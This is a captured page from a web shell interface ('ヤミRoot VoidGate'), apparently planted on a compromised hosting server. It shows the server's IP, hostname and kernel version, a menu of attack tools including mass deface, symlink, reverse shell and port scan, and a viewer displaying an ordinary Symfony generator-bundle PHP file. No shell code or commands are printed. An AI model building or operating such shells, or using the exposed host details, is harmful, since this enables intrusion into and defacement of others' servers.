ヤミRoot VoidGate
User / IP
:
216.73.216.137
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
sensio
/
generator-bundle
/
Command
/
Viewing: GeneratorCommand.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Sensio\Bundle\GeneratorBundle\Command; use Symfony\Component\HttpKernel\Bundle\BundleInterface; use Symfony\Bundle\FrameworkBundle\Command\ContainerAwareCommand; use Sensio\Bundle\GeneratorBundle\Generator\Generator; use Sensio\Bundle\GeneratorBundle\Command\Helper\QuestionHelper; /** * Base class for generator commands. * * @author Fabien Potencier <fabien@symfony.com> */ abstract class GeneratorCommand extends ContainerAwareCommand { /** * @var Generator */ private $generator; // only useful for unit tests public function setGenerator(Generator $generator) { $this->generator = $generator; } abstract protected function createGenerator(); protected function getGenerator(BundleInterface $bundle = null) { if (null === $this->generator) { $this->generator = $this->createGenerator(); $this->generator->setSkeletonDirs($this->getSkeletonDirs($bundle)); } return $this->generator; } protected function getSkeletonDirs(BundleInterface $bundle = null) { $skeletonDirs = array(); if (isset($bundle) && is_dir($dir = $bundle->getPath().'/Resources/SensioGeneratorBundle/skeleton')) { $skeletonDirs[] = $dir; } if (is_dir($dir = $this->getContainer()->get('kernel')->getRootdir().'/Resources/SensioGeneratorBundle/skeleton')) { $skeletonDirs[] = $dir; } $skeletonDirs[] = __DIR__.'/../Resources/skeleton'; $skeletonDirs[] = __DIR__.'/../Resources'; return $skeletonDirs; } protected function getQuestionHelper() { $question = $this->getHelperSet()->get('question'); if (!$question || get_class($question) !== 'Sensio\Bundle\GeneratorBundle\Command\Helper\QuestionHelper') { $this->getHelperSet()->set($question = new QuestionHelper()); } return $question; } /** * Tries to make a path relative to the project, which prints nicer. * * @param string $absolutePath * * @return string */ protected function makePathRelative($absolutePath) { $projectRootDir = dirname($this->getContainer()->getParameter('kernel.root_dir')); return str_replace($projectRootDir.'/', '', realpath($absolutePath) ?: $absolutePath); } }
Coded With 💗 by
0x6ick